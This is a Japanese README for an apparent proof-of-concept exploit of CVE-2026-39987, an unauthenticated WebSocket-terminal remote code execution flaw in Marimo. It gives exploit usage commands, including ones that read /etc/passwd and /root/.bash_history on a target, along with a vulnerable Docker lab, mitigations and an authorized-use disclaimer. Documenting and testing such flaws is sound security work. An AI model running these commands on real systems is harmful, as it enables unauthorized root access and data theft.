
CVE-2026-39987
Marimo における認証なしリモートコード実行(WebSocket ターミナル経由)
CVE-2026-39987 は、Marimo のバージョン 0.23.0 未満に影響する深刻な Pre-Authentication Remote Code Execution(認証前リモートコード実行)の脆弱性です。/terminal/ws WebSocket エンドポイントは認証を完全にバイパスするため、認証されていない攻撃者が Marimo プロセスの権限(通常 Docker 環境では root)で完全なインタラクティブ PTY シェルを取得できます。
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// → ws:// および https:// → wss:// の自動変換CVE-2026-39987/
├── CVE-2026-39987-poc.py ← メインエクスプロイト
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← 永続ノートブック(オプション)
├── README.md
└── LICENSE
pip install websocket-client
# 基本的な使い方
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# システムの列挙
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# 機密ファイルの読み取り
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
その後テスト:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0 にアップグレード/terminal/ws へのアクセスを制限この Proof of Concept は教育目的および許可されたセキュリティテストのみを意図しています。著者は、このツールの誤用やそれによって引き起こされた損害について一切の責任を負いません。システムをテストする前に、明示的な許可を得ていることを確認してください。
倫理的かつ責任を持って使用してください。
セキュリティ研究と責任ある開示のために作成されました。